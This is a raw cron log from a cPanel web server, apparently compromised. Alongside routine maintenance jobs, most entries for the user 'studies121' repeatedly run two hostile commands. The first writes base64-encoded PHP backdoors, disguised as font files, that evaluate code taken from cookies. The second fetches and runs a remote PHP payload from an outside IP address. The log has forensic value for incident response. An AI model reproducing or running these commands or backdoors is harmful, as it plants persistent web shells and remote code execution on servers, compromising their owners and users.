Feb 22 16:31:01 ip-184-168-122-23 CROND[29881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:31:01 ip-184-168-122-23 CROND[29882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:31:01 ip-184-168-122-23 CROND[29884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:31:01 ip-184-168-122-23 CROND[29886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 16:31:01 ip-184-168-122-23 CROND[29887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:32:01 ip-184-168-122-23 CROND[30246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:32:01 ip-184-168-122-23 CROND[30248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:32:01 ip-184-168-122-23 CROND[30249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:32:01 ip-184-168-122-23 CROND[30252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:32:01 ip-184-168-122-23 CROND[30254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:33:01 ip-184-168-122-23 CROND[30647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:33:01 ip-184-168-122-23 CROND[30649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:33:01 ip-184-168-122-23 CROND[30650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:33:01 ip-184-168-122-23 CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:34:01 ip-184-168-122-23 CROND[30951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:34:01 ip-184-168-122-23 CROND[30952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:34:01 ip-184-168-122-23 CROND[30953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:34:01 ip-184-168-122-23 CROND[30956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:34:01 ip-184-168-122-23 CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31294]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:35:02 ip-184-168-122-23 CROND[31293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:36:02 ip-184-168-122-23 CROND[31652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:36:02 ip-184-168-122-23 CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:36:02 ip-184-168-122-23 CROND[31653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:36:02 ip-184-168-122-23 CROND[31657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:36:02 ip-184-168-122-23 CROND[31659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:37:01 ip-184-168-122-23 CROND[31975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:37:01 ip-184-168-122-23 CROND[31977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:37:01 ip-184-168-122-23 CROND[31979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:37:01 ip-184-168-122-23 CROND[31981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:38:01 ip-184-168-122-23 CROND[32289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:38:01 ip-184-168-122-23 CROND[32290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:38:01 ip-184-168-122-23 CROND[32292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:38:01 ip-184-168-122-23 CROND[32291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:38:01 ip-184-168-122-23 CROND[32295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:39:01 ip-184-168-122-23 CROND[32632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:39:01 ip-184-168-122-23 CROND[32634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:39:01 ip-184-168-122-23 CROND[32637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:39:01 ip-184-168-122-23 CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:39:01 ip-184-168-122-23 CROND[32638]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 16:40:01 ip-184-168-122-23 CROND[599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:40:01 ip-184-168-122-23 CROND[603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:40:01 ip-184-168-122-23 CROND[604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:40:01 ip-184-168-122-23 CROND[608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:40:01 ip-184-168-122-23 CROND[610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:40:01 ip-184-168-122-23 CROND[607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:40:01 ip-184-168-122-23 CROND[612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:40:01 ip-184-168-122-23 CROND[611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:41:01 ip-184-168-122-23 CROND[985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:41:01 ip-184-168-122-23 CROND[987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:41:01 ip-184-168-122-23 CROND[990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:41:01 ip-184-168-122-23 CROND[989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:42:01 ip-184-168-122-23 CROND[1301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:42:01 ip-184-168-122-23 CROND[1303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:42:01 ip-184-168-122-23 CROND[1305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:42:01 ip-184-168-122-23 CROND[1306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:42:01 ip-184-168-122-23 CROND[1304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
